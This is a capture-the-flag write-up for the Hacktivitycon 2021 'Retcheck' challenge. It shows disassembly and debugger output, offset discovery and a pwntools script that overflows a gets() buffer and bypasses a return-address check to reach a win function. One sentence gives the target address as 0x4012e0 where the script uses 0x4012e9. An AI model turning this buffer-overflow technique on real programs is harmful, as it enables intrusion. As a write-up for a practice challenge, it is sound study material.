Hacktivitycon CTF 2021 - Retcheck

"Retcheck" is a binary exploitation challenge in Hacktivitycon CTF 2021. You can download the challenge file here.
Details
First let's do some static analysis on the binary using pwntool's checksec and radare2.
<cjason@cj-basepc:retcheck>>$ pwn checksec retcheck
[!] Could not populate PLT: The 'unicorn<1.0.2rc4,>=1.0.2rc1' distribution was not found and is required by pwntools
[*] '/home/cjason/ctfs/hacktivity/pwn/retcheck/retcheck'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
<cjason@cj-basepc:retcheck>>$ r2 retcheck
WARNING: No calling convention defined for this file, analysis may be inaccurate.
-- Greetings, human.
[0x004011d0]> aaa
[Warning: set your favourite calling convention in `e anal.cc=?`
[x] Analyze all flags starting with sym. and entry0 (aa)
[x] Analyze function calls (aac)
[x] Analyze len bytes of instructions for references (aar)
[x] Finding and parsing C++ vtables (avrr)
[x] Type matching analysis for all functions (aaft)
[x] Propagate noreturn information (aanr)
[x] Use -AA or aaaa to perform additional experimental analysis.
[0x004011d0]> afl
0x004011d0 1 47 entry0
0x00401210 4 33 -> 31 sym.deregister_tm_clones
0x00401240 4 49 sym.register_tm_clones
0x00401280 3 33 -> 32 sym.__do_global_dtors_aux
0x004012b0 1 6 entry.init0
0x004014e0 1 5 sym.__libc_csu_fini
0x004013da 3 121 sym.vuln
0x00401120 1 11 sym.imp.puts
0x00401190 1 11 sym.imp.gets
0x00401160 1 11 sym.imp.strcspn
0x00401110 1 11 sym.imp.abort
0x00401504 1 13 sym._fini
0x004014f0 1 19 sym.fstat
0x00401470 4 101 sym.__libc_csu_init
0x004012e9 5 241 sym.win
0x00401200 1 5 sym._dl_relocate_static_pie
0x00401453 1 25 main
0x00401000 3 27 sym._init
0x004012b6 1 51 sym.setup
0x00401150 1 11 sym.imp.setbuf
0x00401100 1 11 sym.imp.free
0x00401130 1 11 sym.imp.fread
0x00401140 1 11 sym.imp.fclose
0x00401170 1 11 sym.imp.calloc
0x00401180 1 11 sym.imp.fileno
0x004011a0 1 11 sym.imp.__fxstat
0x004011b0 1 11 sym.imp.fopen
0x004011c0 1 11 sym.imp.exit
[0x004011d0]>
The binary does not have stack protection enabled as indicated by "No canary found" from the output of checksec. In addition, PIE or position independent executable is not enabled. The list of functions displayed by radare2 shows the function gets, which is vulnerable. In simple terms, gets will only stop reading after a newline character or end-of-file character, which it then appends a null character to the buffer. This allows an attacker to input arbitrary amounts of data into the buffer, causing it to overflow.
Let's seek to the main function in radare and disassemble it.
[0x00401453]> s main
[0x00401453]> pdf
; DATA XREF from entry0 @ 0x4011f1
┌ 25: main ();
│ 0x00401453 f30f1efa endbr64
│ 0x00401457 55 push rbp
│ 0x00401458 4889e5 mov rbp, rsp
│ 0x0040145b b800000000 mov eax, 0
│ 0x00401460 e875ffffff call sym.vuln
│ 0x00401465 b800000000 mov eax, 0
│ 0x0040146a 5d pop rbp
└ 0x0040146b c3 ret
[0x00401453]>
It pretty much does nothing other than call the vuln
function. Right, let's see what the vuln function does.
[0x00401453]> s sym.vuln
[0x004013da]> pdf
; CALL XREF from main @ 0x401460
┌ 121: sym.vuln (int64_t arg_8h);
│ ; var int64_t var_190h @ rbp-0x190
│ ; arg int64_t arg_8h @ rbp+0x8
│ 0x004013da f30f1efa endbr64
│ 0x004013de 55 push rbp
│ 0x004013df 4889e5 mov rbp, rsp
│ 0x004013e2 4881ec900100. sub rsp, 0x190
│ 0x004013e9 488b4508 mov rax, qword [arg_8h]
│ 0x004013ed 4889053c2c00. mov qword [obj.RETADDR], rax ; [0x404030:8]=0
│ 0x004013f4 488d3d5d0c00. lea rdi, str.retcheck_enabled___ ; 0x402058 ; "retcheck enabled !!"
│ 0x004013fb e820fdffff call sym.imp.puts
│ 0x00401400 488d8570feff. lea rax, [var_190h]
│ 0x00401407 4889c7 mov rdi, rax
│ 0x0040140a b800000000 mov eax, 0
│ 0x0040140f e87cfdffff call sym.imp.gets
│ 0x00401414 488d8570feff. lea rax, [var_190h]
│ 0x0040141b 488d354a0c00. lea rsi, [0x0040206c] ; "\r\n"
│ 0x00401422 4889c7 mov rdi, rax
│ 0x00401425 e836fdffff call sym.imp.strcspn
│ 0x0040142a c6840570feff. mov byte [rbp + rax - 0x190], 0
│ 0x00401432 4889e8 mov rax, rbp
│ 0x00401435 4883c008 add rax, 8
│ 0x00401439 488b00 mov rax, qword [rax]
│ 0x0040143c 4889c2 mov rdx, rax
│ 0x0040143f 488b05ea2b00. mov rax, qword [obj.RETADDR] ; [0x404030:8]=0
│ 0x00401446 4839c2 cmp rdx, rax
│ ┌─< 0x00401449 7405 je 0x401450
│ │ 0x0040144b e8c0fcffff call sym.imp.abort
│ │ ; CODE XREF from sym.vuln @ 0x401449
│ └─> 0x00401450 90 nop
│ 0x00401451 c9 leave
└ 0x00401452 c3 ret
[0x004013da]>
The gets call lies in the vuln
function, this means we could potentially overflow the return address of this function and have control over the program. But wait! while this executable does not have stack protection, it does however have a uncommon "return address" check before leaving the function. It seems that the program first loads the return address of the vuln
function by having the variable arg_8h
point 1 location (64-bit) below the base pointer rbp
. This return address is stored in a global variable obj.RETADDR
and is compared later on again with rbp+0x8
.
So, if we just naively overflow the stack, the return check function will detect rbp+0x8
is changed by comparing with the global obj.RETADDR
. What we could try to do in this case if we overflow the buffer but with a carefully placed return address, so that the return check doesn't fail. This is possible because PIE is not enabled, which means that the addresses in the executable are the same through all of its invocations. Looking back at our main function, the return address of vuln
should be 0x00401465. We will keep this in mind when we proceed.
Finally, let's look at one more uncommon function sym.win
at 0x004012e9.
[0x004011d0]> s sym.win
[0x004012e9]> pdf
┌ 241: sym.win ();
│ ; var int64_t var_a0h @ rbp-0xa0
│ ; var int64_t var_70h @ rbp-0x70
│ ; var uint32_t var_10h @ rbp-0x10
│ ; var uint32_t var_8h @ rbp-0x8
│ 0x004012e9 f30f1efa endbr64
│ 0x004012ed 55 push rbp
│ 0x004012ee 4889e5 mov rbp, rsp
│ 0x004012f1 4881eca00000. sub rsp, 0xa0
│ 0x004012f8 48c745f80000. mov qword [var_8h], 0
│ 0x00401300 48c745f00000. mov qword [var_10h], 0
│ 0x00401308 488d35f90c00. lea rsi, [0x00402008] ; "r"
│ 0x0040130f 488d3df40c00. lea rdi, str.flag.txt ; 0x40200a ; "flag.txt"
│ 0x00401316 e895feffff call sym.imp.fopen
│ 0x0040131b 488945f8 mov qword [var_8h], rax
│ 0x0040131f 48837df800 cmp qword [var_8h], 0
│ ┌─< 0x00401324 7516 jne 0x40133c
│ │ 0x00401326 488d3de60c00. lea rdi, str.Could_not_open_flag_file. ; 0x402013 ; "Could not open flag file."
│ │ 0x0040132d e8eefdffff call sym.imp.puts
│ │ 0x00401332 bf01000000 mov edi, 1
│ │ 0x00401337 e884feffff call sym.imp.exit
│ │ ; CODE XREF from sym.win @ 0x401324
│ └─> 0x0040133c 488b45f8 mov rax, qword [var_8h]
│ 0x00401340 4889c7 mov rdi, rax
│ 0x00401343 e838feffff call sym.imp.fileno
│ 0x00401348 89c2 mov edx, eax
│ 0x0040134a 488d8560ffff. lea rax, [var_a0h]
│ 0x00401351 4889c6 mov rsi, rax
│ 0x00401354 89d7 mov edi, edx
│ 0x00401356 e895010000 call sym.fstat
│ 0x0040135b 488b4590 mov rax, qword [var_70h]
│ 0x0040135f 4883c001 add rax, 1
│ 0x00401363 be01000000 mov esi, 1
│ 0x00401368 4889c7 mov rdi, rax
│ 0x0040136b e800feffff call sym.imp.calloc
│ 0x00401370 488945f0 mov qword [var_10h], rax
│ 0x00401374 48837df000 cmp qword [var_10h], 0
│ ┌─< 0x00401379 7516 jne 0x401391
│ │ 0x0040137b 488d3dae0c00. lea rdi, str.Failed_to_allocate_memory_for_the_flag. ; 0x402030 ; "Failed to allocate memory for the flag."
│ │ 0x00401382 e899fdffff call sym.imp.puts
│ │ 0x00401387 bf01000000 mov edi, 1
│ │ 0x0040138c e82ffeffff call sym.imp.exit
│ │ ; CODE XREF from sym.win @ 0x401379
│ └─> 0x00401391 488b4590 mov rax, qword [var_70h]
│ 0x00401395 4889c6 mov rsi, rax
│ 0x00401398 488b55f8 mov rdx, qword [var_8h]
│ 0x0040139c 488b45f0 mov rax, qword [var_10h]
│ 0x004013a0 4889d1 mov rcx, rdx
│ 0x004013a3 4889f2 mov rdx, rsi
│ 0x004013a6 be01000000 mov esi, 1
│ 0x004013ab 4889c7 mov rdi, rax
│ 0x004013ae e87dfdffff call sym.imp.fread
│ 0x004013b3 488b45f0 mov rax, qword [var_10h]
│ 0x004013b7 4889c7 mov rdi, rax
│ 0x004013ba e861fdffff call sym.imp.puts
│ 0x004013bf 488b45f8 mov rax, qword [var_8h]
│ 0x004013c3 4889c7 mov rdi, rax
│ 0x004013c6 e875fdffff call sym.imp.fclose
│ 0x004013cb 488b45f0 mov rax, qword [var_10h]
│ 0x004013cf 4889c7 mov rdi, rax
│ 0x004013d2 e829fdffff call sym.imp.free
│ 0x004013d7 90 nop
│ 0x004013d8 c9 leave
└ 0x004013d9 c3 ret
It seems that sym.win
is the function we want our program to execute. Let's find the offsets for our attack. To do this, we can use a cyclic pattern and pwndbg.
<cjason@cj-basepc:retcheck>>$ pwn cyclic 1024 > pattern
<cjason@cj-basepc:retcheck>>$ gdb retcheck
GNU gdb (GDB) 10.2
Copyright (C) 2021 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-pc-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<https://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
pwndbg: loaded 190 commands. Type pwndbg [filter] for a list.
pwndbg: created $rebase, $ida gdb functions (can be used with print/break)
Reading symbols from retcheck...
(No debugging symbols found in retcheck)
pwndbg> r < pattern
Starting program: /home/cjason/ctfs/hacktivity/pwn/retcheck/retcheck < pattern
retcheck enabled !!
Program received signal SIGABRT, Aborted.
0x00007ffff7e03d22 in raise () from /usr/lib/libc.so.6
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
────────────────────────────────────────────[ REGISTERS ]────────────────────────────────────────────────────────
RAX 0x0
RBX 0x7ffff7f94580 ◂— 0x7ffff7f94580
RCX 0x7ffff7e03d22 (raise+322) ◂— mov rax, qword ptr [rsp + 0x108]
RDX 0x0
RDI 0x2
RSI 0x7fffffffdbe0 ◂— 0x0
R8 0x0
R9 0x7fffffffdbe0 ◂— 0x0
R10 0x8
R11 0x246
R12 0x4011d0 (_start) ◂— endbr64
R13 0x0
R14 0x0
R15 0x0
RBP 0x7ffff7f898f0 (lock) ◂— 0x0
RSP 0x7fffffffdbe0 ◂— 0x0
RIP 0x7ffff7e03d22 (raise+322) ◂— mov rax, qword ptr [rsp + 0x108]
─────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────
► 0x7ffff7e03d22 <raise+322> mov rax, qword ptr [rsp + 0x108]
0x7ffff7e03d2a <raise+330> sub rax, qword ptr fs:[0x28]
0x7ffff7e03d33 <raise+339> jne raise+372 <raise+372>
↓
0x7ffff7e03d54 <raise+372> call __stack_chk_fail <__stack_chk_fail>
0x7ffff7e03d59 nop dword ptr [rax]
0x7ffff7e03d60 <killpg> endbr64
0x7ffff7e03d64 <killpg+4> test edi, edi
0x7ffff7e03d66 <killpg+6> js killpg+16 <killpg+16>
0x7ffff7e03d68 <killpg+8> neg edi
0x7ffff7e03d6a <killpg+10> jmp kill <kill>
0x7ffff7e03d6f <killpg+15> nop
─────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────────────────
00:0000│ rsi r9 rsp 0x7fffffffdbe0 ◂— 0x0
01:0008│ 0x7fffffffdbe8 —▸ 0x7ffff7fda488 (_dl_relocate_object+3016) ◂— lea rsp, [rbp - 0x28]
02:0010│ 0x7fffffffdbf0 —▸ 0x7ffff7e52980 (free) ◂— endbr64
03:0018│ 0x7fffffffdbf8 —▸ 0x7ffff7e530f0 (calloc) ◂— endbr64
04:0020│ 0x7fffffffdc00 —▸ 0x7ffff7ffe1e0 ◂— 0x0
05:0028│ 0x7fffffffdc08 ◂— 0x0
06:0030│ 0x7fffffffdc10 —▸ 0x7fffffffdcc0 ◂— 0xffffffffffffffff
07:0038│ 0x7fffffffdc18 —▸ 0x7ffff7fcdc80 ◂— 0x2fdf0
────────────────────────────────────────────[ BACKTRACE ]────────────────────────────────────────────────────────
► f 0 0x7ffff7e03d22 raise+322
f 1 0x7ffff7ded862 abort+278
f 2 0x401450 vuln+118
f 3 0x6561616465616163
f 4 0x6561616665616165
f 5 0x6561616865616167
f 6 0x6561616a65616169
f 7 0x6561616c6561616b
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────
As expected, we got an ABORT signal because rbp+0x8
doesn't match with the return address. Let's find out what value is at rbp+0x8
. First, we set a breakpoint at 0x00401446 by doing break *0x401446. Then, we rerun the program with the same input.
pwndbg> r < pattern
Starting program: /home/cjason/ctfs/hacktivity/pwn/retcheck/retcheck < pattern
retcheck enabled !!
Breakpoint 1, 0x0000000000401446 in vuln ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────[ REGISTERS ]────────────────────────────────────────────────────────
RAX 0x401465 (main+18) ◂— mov eax, 0
RBX 0x401470 (__libc_csu_init) ◂— endbr64
RCX 0x0
RDX 0x6561616465616163 ('caaedaae')
RDI 0x7fffffffde40 ◂— 0x6161616261616161 ('aaaabaaa')
RSI 0x1
R8 0x402060 ◂— ' enabled !!'
R9 0x0
R10 0x7ffff7dd6798 ◂— 0x10001200002ab7
R11 0x246
R12 0x4011d0 (_start) ◂— endbr64
R13 0x0
R14 0x0
R15 0x0
RBP 0x7fffffffdfd0 ◂— 0x656161626561617a ('zaaebaae')
RSP 0x7fffffffde40 ◂— 0x6161616261616161 ('aaaabaaa')
RIP 0x401446 (vuln+108) ◂— cmp rdx, rax
─────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────
► 0x401446 <vuln+108> cmp rdx, rax <0x401465>
0x401449 <vuln+111> je vuln+118 <vuln+118>
0x40144b <vuln+113> call abort@plt <abort@plt>
0x401450 <vuln+118> nop
0x401451 <vuln+119> leave
0x401452 <vuln+120> ret
0x401453 <main> endbr64
0x401457 <main+4> push rbp
0x401458 <main+5> mov rbp, rsp
0x40145b <main+8> mov eax, 0
0x401460 <main+13> call vuln <vuln>
─────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────────────────
00:0000│ rdi rsp 0x7fffffffde40 ◂— 0x6161616261616161 ('aaaabaaa')
01:0008│ 0x7fffffffde48 ◂— 0x6161616461616163 ('caaadaaa')
02:0010│ 0x7fffffffde50 ◂— 0x6161616661616165 ('eaaafaaa')
03:0018│ 0x7fffffffde58 ◂— 0x6161616861616167 ('gaaahaaa')
04:0020│ 0x7fffffffde60 ◂— 0x6161616a61616169 ('iaaajaaa')
05:0028│ 0x7fffffffde68 ◂— 0x6161616c6161616b ('kaaalaaa')
06:0030│ 0x7fffffffde70 ◂— 0x6161616e6161616d ('maaanaaa')
07:0038│ 0x7fffffffde78 ◂— 0x616161706161616f ('oaaapaaa')
─────────────────────────────────────────────[ BACKTRACE ]────────────────────────────────────────────────────────
► f 0 0x401446 vuln+108
f 1 0x6561616465616163
f 2 0x6561616665616165
f 3 0x6561616865616167
f 4 0x6561616a65616169
f 5 0x6561616c6561616b
f 6 0x6561616e6561616d
f 7 0x656161706561616f
───────────────────────────────────────────────────────────────────────────────────────────────────────────────
Then, we print the value at rbp+0x8
(or alternatively, just look at the value of rdx
).
pwndbg> x/xw $rbp+0x8
0x7fffffffdfd8: 0x65616163
pwndbg> x/s $rbp+0x8
0x7fffffffdfd8: "caaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaaezaafbaafcaafdaafeaaffaafgaafhaafiaafjaafkaaflaafmaafnaafoaafpaafqaafraafsaaftaafuaafvaafwaafxaafyaafzaagbaag"...
We got the pattern "caae". Using pwntool's cyclic, we can easily get the offset for this pattern.
<cjason@cj-basepc:~>>$ pwn cyclic -l caae
408
Now let's design our payload. What we know so far:
- We can overflow the stack in
vuln
, but we can't control its return address. - We can know what's the return address of
vuln
, that is 0x401465. - We want to return to
sym.win
at 0x4012e9. - The addresses do not change as PIE is not enabled.
- The offset required to get to
$rbp+0x8
is 408. - There is a
pop rbp
before the finalret
in main.
Our strategy: Overflow the buffer with a padding of 408, then place the correct return address (0x401465) which ensures the return check passes. Then, we place a 8 bytes of garbage value to be popped into rbp
before placing our target return address (0x4012e0). That's right, we are going to use the return from main to jump to our intended sym.win
instead of the ret from vuln
.
#!/usr/bin/python
from pwn import *
padding = b'A' * 408 + p64(0x401465) + b'B'*8
retn = p64(0x4012e9)
payload = padding + retn
conn = remote('challenge.ctf.games', 31463)
conn.sendline(payload)
conn.interactive()

Key Takeaway
It is not necessary to have control of return address of the vulnerable function to control program flow.